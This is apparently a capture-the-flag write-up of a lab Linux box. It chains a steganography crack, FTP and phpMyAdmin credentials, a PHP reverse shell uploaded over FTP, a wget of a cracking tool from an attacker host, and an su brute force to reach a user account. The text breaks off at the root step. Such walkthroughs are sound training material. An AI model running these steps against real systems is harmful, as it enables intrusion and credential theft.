Summary
Different CTF is an easy-rated Linux box built around a WordPress install with an
exposed wp-config.php, an FTP service reachable with credentials hidden inside a
steganographic image, and a custom SUID binary that gates root access behind another
layer of encoding. The path to root involves chaining FTP creds -> phpMyAdmin ->
database recon -> subdomain discovery -> a webshell over FTP upload -> an offline
password crack against su -> and finally decoding a custom SUID binary's hint
through CyberChef to recover the root password.
Target: <MACHINE_IP> (adana.thm)
1. Reconnaissance
Started with a full port scan:
nmap -A -p- <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.6
|_http-title: "Hello World – Just another WordPress site"
FTP and a WordPress 5.6 site on Apache 2.4.29. Added the hostname to /etc/hosts
right away since the site referenced adana.thm in redirects later on:
echo '<MACHINE_IP> adana.thm' >> /etc/hosts
1.1 Directory brute force
Ran dirsearch first, then gobuster against the vhost once it resolved:
dirsearch -u http://<MACHINE_IP>
[..snip..]
200 - 0B - /wp-config.php
200 - 504B - /wp-admin/install.php
301 - 319B - /phpmyadmin -> http://<MACHINE_IP>/phpmyadmin/
[..snip..]
Two things stood out immediately:
-
/wp-config.phpreturning200 - 0B(PHP is executing it, so no leak over HTTP by itself, but worth remembering) -
/wp-admin/install.phpreturning200 - 504Binstead of a redirect, which usually means WordPress isn't fully "installed" from its own point of view
gobuster against the vhost turned up an extra directory that dirsearch had missed:
gobuster dir -u http://adana.thm/ -w /usr/share/wordlists/dirb/big.txt
announcements (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
javascript (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]
phpmyadmin (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]
wp-admin (Status: 301) [Size: 309]
wp-content (Status: 301) [Size: 311]
wp-includes (Status: 312)
/announcements was the interesting one, nothing WordPress-related about the name.
2. Steganography rabbit hole
Browsing /announcements/ gave a directory listing:
curl http://adana.thm/announcements/
<a href="austrailian-bulldog-ant.jpg">austrailian-bulldog-ant.jpg</a> 58K
<a href="wordlist.txt">wordlist.txt</a> 394K
An image sitting right next to a wordlist is about as strong a hint as CTFs get, so
this was steghide territory. Pulled both files down:
curl http://adana.thm/announcements/austrailian-bulldog-ant.jpg --output ant.jpg
curl http://adana.thm/announcements/wordlist.txt --output wordlist.txt
exiftool on the image came back clean, nothing embedded in metadata, so moved
straight to cracking the steg password with the provided wordlist:
stegcracker ant.jpg wordlist.txt
Successfully cracked file with password: 123adanaantinwar
Tried 49316 passwords
Your file has been written to: ant.jpg.out
The extracted file was base64:
cat ant.jpg.out
RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=
cat ant.jpg.out | base64 -d
FTP-LOGIN
USER: hakanftp
PASS: 123adanacrack
FTP credentials, straight out of a picture of an ant. Noted the recurring
123adana... prefix pattern in these passwords, it comes back later.
3. FTP access and WordPress config leak
ftp adana.thm 21
Logged in as hakanftp and found the web root sitting there, fully accessible:
ftp> ls -la
-rw------- 1 1001 1001 88 Jan 13 2021 .bash_history
-rw-r--r-- 1 1001 1001 554 Jan 10 2021 .htaccess
drwxr-xr-x 2 0 0 4096 Jan 14 2021 announcements
-rw-r--r-- 1 0 0 3194 Jan 11 2021 wp-config.php
[..snip..]
.bash_history was tiny but readable:
ftp> get .bash_history
id
su root
ls
cd ..
[..snip..]
Not much actionable there beyond confirming su root is a thing people do on this
box. The real prize was wp-config.php:
ftp> get wp-config.php
define( 'DB_NAME', 'phpmyadmin1' );
define( 'DB_USER', 'phpmyadmin' );
define( 'DB_PASSWORD', '12345' );
define( 'DB_HOST', 'localhost' );
Database creds in plaintext, and phpMyAdmin was already sitting exposed at
/phpmyadmin/.
4. phpMyAdmin -> subdomain discovery
Logged into phpMyAdmin with phpmyadmin:12345.
![phpMyAdmin login]
Landed on the server overview, confirming MySQL 5.7.32 / Apache 2.4.29 / PHP 7.2.24.
Browsed to the phpmyadmin1 database, wp_options table, and the siteurl /
home rows both pointed somewhere unexpected:
siteurl -> http://subdomain.adana.thm
home -> http://subdomain.adana.thm
Not adana.thm itself, a subdomain. This explained why an earlier attempt to drop a
webshell at http://adana.thm/revshell.php came back 404 Not Found, wrong vhost
entirely. Added the subdomain to /etc/hosts and moved on.
5. Webshell via FTP upload -> initial foothold
With write access over FTP as hakanftp, uploaded a PHP reverse shell directly into
the web root:
ftp> put revshell.php
ftp> chmod 777 revshell.php
Started a listener and hit the shell on the correct vhost this time:
penelope -p 4444 listen
[+] [New Reverse Shell] => ubuntu <ATTACKER_VISIBLE_IP> Linux-x86_64 www-data(33)
www-data@ubuntu:/$ whoami
www-data
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirmed there are two web roots on this box, /var/www/html (the main site) and
/var/www/subdomain (where the shell landed):
www-data@ubuntu:/$ ls /var/www
html subdomain
The web flag was sitting in the main site's root:
www-data@ubuntu:/$ cat /var/www/html/wwe3bbfla4g.txt
THM{REDACTED}
/etc/passwd showed the two accounts of interest:
root:x:0:0:root:/root:/bin/bash
hakanbey:x:1000:1000:hakanbey:/home/hakanbey:/bin/bash
hakanftp:x:1001:1001:,,,:/var/www/subdomain:/bin/bash
/home/hakanbey was permission-denied as www-data, so privesc from here needed
another angle.
6. Bruteforcing su for hakanbey
find / -perm -4000 didn't turn up anything useful yet (the interesting SUID binary
shows up later, in /usr/bin, readable only after becoming hakanbey). sudo -l
wasn't available to www-data at all. With hakanbey's password unknown, and the
strong 123adana... pattern seen twice already, the plan was to bruteforce su
locally using sucrack, seeded with a wordlist built from that pattern:
sed 's/^/123adana/' wordlist.txt > new_wordlist.txt
6.1 First attempt: precompiled binary, wrong glibc
Grabbed a precompiled sucrack from a local python http.server and tried to run it
on the target:
www-data@ubuntu:/tmp$ ./sucrack -u hakanbey -t 8 -w new_wordlist.txt
./sucrack: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./sucrack)
The target's glibc (2.27, an 18.04 box) was too old for the binary I'd grabbed from
my Kali box. Dead end, needed to compile from source against the target's own
toolchain instead.
6.2 Building sucrack from source on the target
wget http://<ATTACKER_IP>/sucrack_1.2.3.orig.tar.gz
tar xf sucrack_1.2.3.orig.tar.gz
cd sucrack-1.2.3
./configure
make
The stock make failed at the link stage:
sucrack-worker.o: In function `worker_spawn':
worker.c:113: undefined reference to `pthread_create'
collect2: error: ld returned 1 exit status
Missing -lpthread on the final link command for some reason (autotools quirk on
this older toolchain). Linked it manually instead:
cd src
gcc -g -O2 -o sucrack sucrack-sucrack.o sucrack-worker.o sucrack-dictionary.o \
sucrack-pty.o sucrack-su.o sucrack-rewriter.o sucrack-util.o sucrack-stat.o \
sucrack-rules.o -lpthread
chmod +x sucrack
That produced a working binary built natively against the target's glibc.
6.3 Cracking the password
./sucrack -w 100 -u hakanbey ../../new_wordlist.txt
password is: 123adanasubaru
su hakanbey
(remote) hakanbey@ubuntu:/var/www$ whoami
hakanbey
(remote) hakanbey@ubuntu:/var/www$ id
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
Grabbed the user flag:
cat /home/hakanbey/user.txt
THM{REDACTED}
7. Root: the custom SUID binary
sudo -l for hakanbey came back empty. Enumerated SUID binaries again, this time